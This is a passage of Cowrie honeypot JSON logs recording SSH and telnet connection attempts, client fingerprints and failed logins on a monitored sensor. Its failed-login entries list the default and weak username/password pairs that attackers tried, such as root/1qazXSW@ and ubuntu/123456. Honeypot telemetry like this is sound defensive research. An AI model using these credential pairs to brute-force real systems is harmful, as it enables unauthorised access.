ss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:09:10.154936Z","src_ip":"160.187.174.22","session":"13a47cb2a233","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123456","message":"login attempt [user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:09:10.896482Z","src_ip":"160.187.174.22","session":"13a47cb2a233","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:09:12.147359Z","src_ip":"160.187.174.22","session":"13a47cb2a233","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.58902144432068,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:09:18.915595Z","src_ip":"128.199.8.54","session":"cb16d11b6a03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":43342,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5baf616a71f","protocol":"telnet","message":"New connection: 170.64.224.25:43342 (159.203.135.109:23) [session: b5baf616a71f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:09:20.859254Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":60732,"dst_ip":"159.203.135.109","dst_port":22,"session":"19e74a8c7092","protocol":"ssh","message":"New connection: 160.187.174.22:60732 (159.203.135.109:22) [session: 19e74a8c7092]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:09:37.629811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:09:37.634860Z","src_ip":"160.187.174.22","session":"19e74a8c7092","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:09:37.886535Z","src_ip":"160.187.174.22","session":"19e74a8c7092","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazXSW@","message":"login attempt [root/1qazXSW@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:09:38.775490Z","src_ip":"160.187.174.22","session":"19e74a8c7092","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:09:40.008464Z","src_ip":"160.187.174.22","session":"19e74a8c7092","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":44478,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ce4140099d2","protocol":"ssh","message":"New connection: 160.187.174.22:44478 (159.203.135.109:22) [session: 3ce4140099d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:10:05.636989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:10:05.641447Z","src_ip":"160.187.174.22","session":"3ce4140099d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:10:05.878987Z","src_ip":"160.187.174.22","session":"3ce4140099d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"svnuser","password":"svnuser","message":"login attempt [svnuser/svnuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:10:06.604455Z","src_ip":"160.187.174.22","session":"3ce4140099d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:10:07.849106Z","src_ip":"160.187.174.22","session":"3ce4140099d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":64.98477053642273,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:10:25.843900Z","src_ip":"170.64.224.25","session":"b5baf616a71f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":55918,"dst_ip":"159.203.135.109","dst_port":23,"session":"d23f301d6da7","protocol":"telnet","message":"New connection: 170.64.224.25:55918 (159.203.135.109:23) [session: d23f301d6da7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:10:26.627597Z"}
{"eventid":"cowrie.session.connect","src_ip":"97.74.6.204","src_port":43284,"dst_ip":"159.203.135.109","dst_port":22,"session":"4127334591e8","protocol":"ssh","message":"New connection: 97.74.6.204:43284 (159.203.135.109:22) [session: 4127334591e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:10:31.346756Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:10:31.350425Z","src_ip":"97.74.6.204","session":"4127334591e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:10:31.414400Z","src_ip":"97.74.6.204","session":"4127334591e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin!@#","message":"login attempt [root/admin!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:10:31.608687Z","src_ip":"97.74.6.204","session":"4127334591e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:10:32.675611Z","src_ip":"97.74.6.204","session":"4127334591e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":47676,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab06596b9cdc","protocol":"ssh","message":"New connection: 160.187.174.22:47676 (159.203.135.109:22) [session: ab06596b9cdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:10:33.825113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:10:33.831719Z","src_ip":"160.187.174.22","session":"ab06596b9cdc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:10:34.080639Z","src_ip":"160.187.174.22","session":"ab06596b9cdc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123456","message":"login attempt [ftpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:10:34.962258Z","src_ip":"160.187.174.22","session":"ab06596b9cdc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:10:36.220539Z","src_ip":"160.187.174.22","session":"ab06596b9cdc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":62694,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a6adcf383e6","protocol":"ssh","message":"New connection: 38.93.206.2:62694 (10.17.0.5:22) [session: 0a6adcf383e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:10:41.405150Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:10:41.410168Z","src_ip":"38.93.206.2","session":"0a6adcf383e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:10:41.461023Z","src_ip":"38.93.206.2","session":"0a6adcf383e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"anna2006","message":"login attempt [root/anna2006] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:10:41.701220Z","src_ip":"38.93.206.2","session":"0a6adcf383e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:10:42.766754Z","src_ip":"38.93.206.2","session":"0a6adcf383e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":43768,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee2b9d7ee1ad","protocol":"ssh","message":"New connection: 160.187.174.22:43768 (159.203.135.109:22) [session: ee2b9d7ee1ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:11:00.608017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:11:00.616805Z","src_ip":"160.187.174.22","session":"ee2b9d7ee1ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:11:00.858150Z","src_ip":"160.187.174.22","session":"ee2b9d7ee1ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:11:01.586504Z","src_ip":"160.187.174.22","session":"ee2b9d7ee1ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:11:02.838702Z","src_ip":"160.187.174.22","session":"ee2b9d7ee1ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":40102,"dst_ip":"159.203.135.109","dst_port":22,"session":"1802c52689cb","protocol":"ssh","message":"New connection: 103.77.175.15:40102 (159.203.135.109:22) [session: 1802c52689cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:11:21.751714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:11:21.755097Z","src_ip":"103.77.175.15","session":"1802c52689cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:11:21.977606Z","src_ip":"103.77.175.15","session":"1802c52689cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"270680","message":"login attempt [root/270680] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:11:22.649204Z","src_ip":"103.77.175.15","session":"1802c52689cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:11:23.874173Z","src_ip":"103.77.175.15","session":"1802c52689cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.229.220.180","src_port":46781,"dst_ip":"10.17.0.5","dst_port":22,"session":"1038e61bd309","protocol":"ssh","message":"New connection: 221.229.220.180:46781 (10.17.0.5:22) [session: 1038e61bd309]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:11:23.894776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:11:23.898913Z","src_ip":"221.229.220.180","session":"1038e61bd309","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.